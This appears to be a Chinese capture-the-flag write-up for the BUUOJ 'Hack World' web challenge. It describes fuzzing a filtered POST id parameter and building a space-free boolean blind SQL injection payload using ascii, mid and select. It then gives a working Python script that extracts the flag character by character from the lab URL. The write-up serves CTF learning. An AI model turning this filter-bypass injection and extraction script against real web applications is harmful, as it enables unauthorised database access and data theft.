web第31题
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开靶场:
提示了flag表中有flag列,我们只能提交id
提交1
地址栏中无参数,说明是post方式传参
提交2
3以及后面的就没有了,说明只有2条数据
尝试1’
说明类型是数字
手动测试一下有无过滤,试了常规的猜解字段等方式,发现有过滤
FUZZ跑一下
相应为482的都是被过滤的字符
例如空格,or,order,union以及报错注入的相关字符都被过滤了
但是select和from没有被过滤
这时我们可以想到的还有盲注,因为输入1时返回Hello, glzjin wants a girlfriend.,输入0时返回Error Occured When Fetch Result.
也就是说我们构造返回结果为0或1的布尔类型进行盲注即可
因为表和字段都给出来了,所以直接
构造语句
id=(select(ascii(mid(flag,1,1))=102)from(flag))
mid用于截取字符串,第一个参数是指定的字段,第二个参数是开始截取的位置,第三个参数可选,表示一次截取多少
MySQL MID()函数用法
也就是说如果ascii码正确,那么会返回1,得到的回显也就是包含Hello的那条语句
如果失败
那么就是Error
这时就需要编写脚本来跑盲注了,参考了大佬的博客,照着写了一下脚本
# -*- coding = utf-8 -*-
# @Author : ricky
# @software : PyCharm
import requests
import string
def blind_sql(url):
flag='' #接收结果
for num in range(1,60): #flag一般不超过50个字符
for i in string.printable: #string.printable将给出所有的标点符号,数字,ascii_letters和空格
payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
post = {"id":payload}
result = requests.post(url=url,data=post) #提交post请求
if 'Hello' in result.text:
flag += i #用flag接收盲注得到的结果
print(flag) #打印结果
else:
continue
print(flag)
if __name__ == '__main__':
url='http://1bd5e523-ee8c-47d5-9181-4d11e938517a.node4.buuoj.cn:81/index.php'
blind_sql(url)
得到flag
受益匪浅啊O(∩_∩)O